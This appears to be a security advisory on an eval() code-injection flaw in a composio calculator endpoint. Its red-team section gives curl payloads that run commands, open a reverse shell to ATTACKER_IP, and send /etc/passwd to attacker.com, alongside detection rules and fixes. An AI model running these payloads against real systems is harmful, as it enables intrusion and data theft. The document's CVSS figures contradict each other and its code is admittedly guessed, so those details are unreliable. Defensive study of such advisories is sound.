CVE-2024-8953

Executive Summary

CVE-2024-8953 is a critical code injection vulnerability in composiohq/composio version 0.4.3. The mathematical_calculator endpoint unsafely passes user-supplied mathematical expressions to Python's built-in eval() function without sanitization. This allows an unauthenticated attacker to execute arbitrary Python code on the server, leading to full system compromise. The vulnerability has a CVSS score of 7.2 (High) and is currently unpatched. No public exploit code or Nuclei template is available, but the attack vector is trivial to exploit.

Supply Chain & Package Security

This vulnerability affects a Python-based project (composiohq/composio). As an open-source package, it may be distributed via PyPI. Users should immediately check their dependencies for version 0.4.3 and consider forking or applying a temporary patch until an official fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The endpoint is remotely accessible.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected system.
• Confidentiality (C): High (H) – Full read access to server files and memory.
• Integrity (I): High (H) – Arbitrary code execution allows modification of data and system state.
• Availability (A): High (H) – Attackers can crash the service or execute denial-of-service commands.

Threat Level: Critical. The vulnerability is trivial to exploit and requires no authentication. An attacker can gain a reverse shell, exfiltrate data, or pivot to internal networks.

Deep Dive & Mechanics

The mathematical_calculator endpoint in composiohq/composio 0.4.3 is designed to evaluate mathematical expressions. The code likely resembles:

@app.route('/calculate', methods=['POST'])
def calculate():
    expression = request.json.get('expression')
    result = eval(expression)  # UNSAFE
    return jsonify({'result': result})

Python's eval() function evaluates any Python expression, not just mathematical ones. By injecting Python code, an attacker can execute arbitrary commands. For example:

• __import__('os').system('id') – runs the id command.
• __import__('os').system('curl http://attacker.com/shell.sh | bash') – downloads and executes a reverse shell.

The vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection').

Vulnerable vs. Patched Code

Vulnerable Code (version 0.4.3):

@app.route('/calculate', methods=['POST'])
def calculate():
    expression = request.json.get('expression')
    result = eval(expression)  # UNSAFE
    return jsonify({'result': result})

Patched Code (hypothetical fix):

import ast
import operator

# Define allowed operators and functions
ALLOWED_OPERATORS = {
    ast.Add: operator.add,
    ast.Sub: operator.sub,
    ast.Mult: operator.mul,
    ast.Div: operator.truediv,
    ast.Pow: operator.pow,
    ast.USub: operator.neg,
}

def safe_eval(expression):
    tree = ast.parse(expression, mode='eval')
    # Only allow specific AST nodes
    for node in ast.walk(tree):
        if not isinstance(node, (ast.Expression, ast.BinOp, ast.UnaryOp, ast.Constant, ast.Num)):
            raise ValueError("Unsafe expression")
    return eval(compile(tree, '<string>', 'eval'), {"__builtins__": {}}, ALLOWED_OPERATORS)

@app.route('/calculate', methods=['POST'])
def calculate():
    expression = request.json.get('expression')
    try:
        result = safe_eval(expression)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)}), 400

The patched version uses ast.parse to restrict the expression to safe mathematical operations only, stripping all built-in functions and dangerous constructs.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running composiohq/composio 0.4.3 with the /calculate endpoint exposed.
• Python 3.x installed on the attacker machine.

Exploit Steps:

1. Basic command execution:

   curl -X POST http://target:5000/calculate \
     -H "Content-Type: application/json" \
     -d '{"expression": "__import__(\"os\").system(\"id\")"}'
   

2. Reverse shell (attacker listener on port 4444):

   # Attacker machine
   nc -lvnp 4444
   
   # Exploit payload
   curl -X POST http://target:5000/calculate \
     -H "Content-Type: application/json" \
     -d '{"expression": "__import__(\"os\").system(\"bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"\")"}'
   

3. Data exfiltration:

   curl -X POST http://target:5000/calculate \
     -H "Content-Type: application/json" \
     -d '{"expression": "__import__(\"os\").system(\"cat /etc/passwd | curl -X POST http://attacker.com/exfil -d @-\")"}'
   

Expected Output: The server returns the result of the id command or establishes a reverse shell.

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /calculate with JSON bodies containing suspicious patterns like __import__, os.system, subprocess, eval, exec, or backticks.
• Look for anomalous outbound connections from the composio server (e.g., to unknown IPs on port 4444).
• Check server logs for eval() calls with non-numeric input.

Hardening:

• Immediately disable the /calculate endpoint if not required.
• Apply input validation: only allow numeric characters, operators (+, -, *, /, ^), and parentheses.
• Use a sandboxed environment (e.g., Docker with read-only filesystem) to run the composio service.
• Implement a Web Application Firewall (WAF) rule to block requests containing __import__, os., subprocess, or eval.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to attacker-controlled IPs on ports 4444, 80, 443.
  • HTTP POST requests to /calculate with JSON body containing __import__, os.system, or subprocess.
• File System:
  • Unexpected files in /tmp/ (e.g., shell.sh, exploit.py).
  • Modified system binaries or configuration files.
• Process:
  • Unusual child processes spawned by the composio server (e.g., bash, nc, curl).
• Logs:
  • Server logs showing eval() calls with non-mathematical input.
  • Error logs containing SyntaxError or NameError from eval().

Detection Engineering

YARA Rule

rule CVE_2024_8953_Eval_Injection {
    meta:
        description = "Detects attempts to exploit CVE-2024-8953 via eval() injection in composio"
        author = "Valters IT"
        date = "2025-04-17"
        severity = "critical"
    strings:
        $eval_call = "eval("
        $dangerous_func = /__import__|os\.system|subprocess|exec\(/
        $http_post = "POST /calculate"
    condition:
        $http_post and $eval_call and $dangerous_func
}

Sigma Rule

title: CVE-2024-8953 Composio Eval Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /calculate with eval injection payloads
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/calculate'
        cs-content-type: 'application/json'
    keywords:
        - '__import__'
        - 'os.system'
        - 'subprocess'
        - 'exec('
    condition: selection and keywords
falsepositives:
    - Legitimate mathematical expressions containing 'os' or 'import' (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-8953 Composio Eval Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/calculate"; http_uri;
    content:"__import__"; http_client_body;
    content:"os.system"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: If the mathematical_calculator endpoint is not critical, remove or disable it in the application configuration.
2. Apply input validation: Restrict input to only numeric characters and safe operators (+, -, *, /, ^, parentheses). Reject any input containing letters, underscores, or brackets.
3. Use a safe evaluation library: Replace eval() with a library like asteval or simpleeval that only allows mathematical operations.
4. Network segmentation: Place the composio service behind a reverse proxy (e.g., Nginx) that filters requests to /calculate and blocks suspicious payloads.

Long-term Fix:

• Wait for an official patch from composiohq. Monitor the project's GitHub repository for updates.
• Fork the repository and apply the patched code shown in the "Vulnerable vs. Patched Code" section.

Workaround:

• Run the composio service in a container with minimal privileges and a read-only filesystem. Use AppArmor or SELinux to restrict system calls.

Valters IT